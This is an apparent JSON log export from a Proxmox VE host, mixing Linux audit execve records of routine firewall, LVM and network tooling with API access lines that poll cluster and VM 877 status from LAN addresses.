{"@timestamp":1781964174757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964174.757:59893): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1382870 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57511 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.334:68787): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485198,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:44 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964574890,"@rawstring":"node=pve type=EXECVE msg=audit(1781964574.890:61591): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965643790,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965643.790:66474): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63848 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185342,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.342:68788): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964961285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964961.285:63388): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60815 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964216596,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781964174729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964174.729:59892): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740c1e0 a1=64f8d73c3ba0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57510 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185327,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.327:68786): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ae40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66055 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485198,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 877"} {"@timestamp":1781964574880,"@rawstring":"node=pve type=EXECVE msg=audit(1781964574.880:61588): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965643790,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965643.790:66473): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63848 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185334,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.334:68787): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964961285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964961.285:63387): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60815 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964216596,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 845"} {"@timestamp":1781964173184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964173.184:59891): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57509 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185319,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.319:68785): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66054 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965484000,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964574607,"@rawstring":"node=pve type=EXECVE msg=audit(1781964574.607:61585): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965638782,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965638.782:66469): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63840 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185327,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.327:68786): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964961275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964961.275:63385): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60814 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964215615,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781964173176,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964173.176:59888): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57508 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185310,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.310:68784): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66053 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965484000,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:42 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964574581,"@rawstring":"node=pve type=EXECVE msg=audit(1781964574.581:61584): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965638782,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965638.782:66468): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63840 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185319,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.319:68785): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964961275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964961.275:63384): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60814 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964212644,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964168165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964168.165:59885): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57507 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185055,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.055:68783): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5935fb0 a1=64f8d73bb900 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66050 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965484000,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964569874,"@rawstring":"node=pve type=EXECVE msg=audit(1781964569.874:61583): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965638769,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965638.769:66466): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63839 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185310,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.310:68784): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964956265,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964956.265:63382): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964211727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964168157,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964168.157:59882): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57506 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.029:68782): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f7140 a1=64f8d73bbce0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66049 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965482685,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964569866,"@rawstring":"node=pve type=EXECVE msg=audit(1781964569.866:61580): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965638769,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965638.769:66465): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63839 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185055,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.055:68783): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964956265,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964956.265:63381): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964210635,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781964166092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.092:59879): arch=c000003e syscall=59 success=yes exit=0 a0=6449916220a0 a1=64499161ee20 a2=644991600680 a3=5 items=2 ppid=57499 pid=57505 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180715,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966180.715:68781): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66048 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965482685,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964565834,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.834:61577): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965635970,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.970:66461): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcba656290 a1=5d1532e28410 a2=5d1532e06680 a3=5 items=1 ppid=63832 pid=63833 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185029,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.029:68782): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964956255,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964956.255:63379): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60812 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964208809,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964166084,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.084:59878): arch=c000003e syscall=59 success=yes exit=0 a0=64495b844ac8 a1=7fffdc210350 a2=644991600680 a3=64495b82824e items=2 ppid=57499 pid=57501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966180.706:68778): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66047 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965482685,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781964565831,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.831:61576): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965635844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.844:66443): arch=c000003e syscall=59 success=no exit=-2 a0=7ffda853dac0 a1=574bef4cb310 a2=574bef4c4680 a3=5 items=1 ppid=63813 pid=63814 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180715,"@rawstring":"node=pve type=EXECVE msg=audit(1781966180.715:68781): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964956255,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964956.255:63378): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60812 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964207596,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781964166084,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.084:59877): arch=c000003e syscall=59 success=yes exit=0 a0=7fffdc210310 a1=644991607310 a2=644991600680 a3=5 items=2 ppid=57499 pid=57500 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.697:68775): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66046 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965482685,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964565829,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.829:61575): argc=1 a0=\"date\""} {"@timestamp":1781965633762,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965633.762:66433): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63803 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966180706,"@rawstring":"node=pve type=EXECVE msg=audit(1781966180.706:68778): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964955973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.973:63374): arch=c000003e syscall=59 success=no exit=-2 a0=7fffe3074330 a1=60972855b310 a2=609728554680 a3=5 items=1 ppid=60805 pid=60806 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964205078,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964166080,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.080:59875): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175689,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.689:68772): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66045 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965480264,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 912"} {"@timestamp":1781964565826,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.826:61573): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965633762,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965633.762:66432): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63803 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175697,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.697:68775): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964955891,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964955.891:63356): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc7d6cecc0 a1=6340c661c310 a2=6340c6615680 a3=5 items=1 ppid=60786 pid=60787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964203664,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 842"} {"@timestamp":1781964166074,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.074:59874): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175297,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.297:68769): arch=c000003e syscall=59 success=yes exit=0 a0=557ebbcceed0 a1=557ebbccbc50 a2=557ebbcad680 a3=5 items=2 ppid=66038 pid=66044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965480264,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964565819,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.819:61572): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965633751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965633.751:66430): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined 